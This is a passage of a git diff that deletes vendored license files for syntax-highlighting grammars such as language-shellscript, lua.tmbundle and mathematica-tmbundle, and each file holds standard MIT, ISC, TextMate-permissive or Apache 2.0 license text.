-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/vendor/licenses/grammar/language-shellscript.txt b/vendor/licenses/grammar/language-shellscript.txt
deleted file mode 100644
index be9f95834b..0000000000
--- a/vendor/licenses/grammar/language-shellscript.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: language-shellscript
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/shellscript.tmbundle and distributed under the
-following license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-supercollider.txt b/vendor/licenses/grammar/language-supercollider.txt
deleted file mode 100644
index b495c284b6..0000000000
--- a/vendor/licenses/grammar/language-supercollider.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: language-supercollider
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014-2015 Chris Sattinger
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/language-toc-wow.txt b/vendor/licenses/grammar/language-toc-wow.txt
deleted file mode 100644
index 970dc139e6..0000000000
--- a/vendor/licenses/grammar/language-toc-wow.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-toc-wow
-license: mit
----
-Copyright (c) 2016 Kyle Buller
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-turing.txt b/vendor/licenses/grammar/language-turing.txt
deleted file mode 100644
index 8c19ebe617..0000000000
--- a/vendor/licenses/grammar/language-turing.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: language-turing
-license: isc
----
-Copyright (c) 2016, John Gardner
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/vendor/licenses/grammar/language-wavefront.txt b/vendor/licenses/grammar/language-wavefront.txt
deleted file mode 100644
index 2c2fe74342..0000000000
--- a/vendor/licenses/grammar/language-wavefront.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: language-wavefront
-license: isc
----
-Copyright (c) 2016, John Gardner
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/vendor/licenses/grammar/language-xbase.txt b/vendor/licenses/grammar/language-xbase.txt
deleted file mode 100644
index 6c5e26d9e3..0000000000
--- a/vendor/licenses/grammar/language-xbase.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-xbase
-license: mit
----
-Copyright (c) 2014 <Your name here>
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-yaml.txt b/vendor/licenses/grammar/language-yaml.txt
deleted file mode 100644
index 94b1c853bc..0000000000
--- a/vendor/licenses/grammar/language-yaml.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: language-yaml
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/yaml.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-yang.txt b/vendor/licenses/grammar/language-yang.txt
deleted file mode 100644
index fd7bdf6d8a..0000000000
--- a/vendor/licenses/grammar/language-yang.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-yang
-license: mit
----
-Copyright (c) 2014 Ján Hajnár
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/latex.tmbundle.txt b/vendor/licenses/grammar/latex.tmbundle.txt
deleted file mode 100644
index 2af0f5b235..0000000000
--- a/vendor/licenses/grammar/latex.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: latex.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/less.tmbundle.txt b/vendor/licenses/grammar/less.tmbundle.txt
deleted file mode 100644
index 5d12ca2e97..0000000000
--- a/vendor/licenses/grammar/less.tmbundle.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: less.tmbundle
-license: mit
-curated: true
----
-
-Copyright (c) 2010 Scott Kyle and Rasmus Andersson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/lilypond.tmbundle.txt b/vendor/licenses/grammar/lilypond.tmbundle.txt
deleted file mode 100644
index 155958fe37..0000000000
--- a/vendor/licenses/grammar/lilypond.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: lilypond.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/liquid.tmbundle.txt b/vendor/licenses/grammar/liquid.tmbundle.txt
deleted file mode 100644
index 48003b2dac..0000000000
--- a/vendor/licenses/grammar/liquid.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: liquid.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Sebastian Gräßl
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/lisp.tmbundle.txt b/vendor/licenses/grammar/lisp.tmbundle.txt
deleted file mode 100644
index 1bfec7a675..0000000000
--- a/vendor/licenses/grammar/lisp.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: lisp.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/llvm.tmbundle.txt b/vendor/licenses/grammar/llvm.tmbundle.txt
deleted file mode 100644
index 3f5062c0f4..0000000000
--- a/vendor/licenses/grammar/llvm.tmbundle.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: llvm.tmbundle
-license: mit
----
-Copyright (c) 2013 Peter Zotov  <whitequark@whitequark.org>
-
-MIT License
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/logos.txt b/vendor/licenses/grammar/logos.txt
deleted file mode 100644
index 1ce23f9ff8..0000000000
--- a/vendor/licenses/grammar/logos.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: logos
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2016 David Murray
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/logtalk.tmbundle.txt b/vendor/licenses/grammar/logtalk.tmbundle.txt
deleted file mode 100644
index 2d7fcc6614..0000000000
--- a/vendor/licenses/grammar/logtalk.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: logtalk.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/lua.tmbundle.txt b/vendor/licenses/grammar/lua.tmbundle.txt
deleted file mode 100644
index 9acf78e588..0000000000
--- a/vendor/licenses/grammar/lua.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: lua.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/make.tmbundle.txt b/vendor/licenses/grammar/make.tmbundle.txt
deleted file mode 100644
index b7c77378c6..0000000000
--- a/vendor/licenses/grammar/make.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: make.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/mako-tmbundle.txt b/vendor/licenses/grammar/mako-tmbundle.txt
deleted file mode 100644
index 0ef8e50d44..0000000000
--- a/vendor/licenses/grammar/mako-tmbundle.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: mako-tmbundle
-license: mit
----
-This is the MIT license: http://www.opensource.org/licenses/mit-license.php
-
-Copyright (C) 2006-2014 the Mako authors and contributors <see AUTHORS file>.
-Mako is a trademark of Michael Bayer.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this
-software and associated documentation files (the "Software"), to deal in the Software
-without restriction, including without limitation the rights to use, copy, modify, merge,
-publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
-to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or
-substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
-INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
-PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
-FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
-OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/mathematica-tmbundle.txt b/vendor/licenses/grammar/mathematica-tmbundle.txt
deleted file mode 100644
index aa602a6eb8..0000000000
--- a/vendor/licenses/grammar/mathematica-tmbundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: mathematica-tmbundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
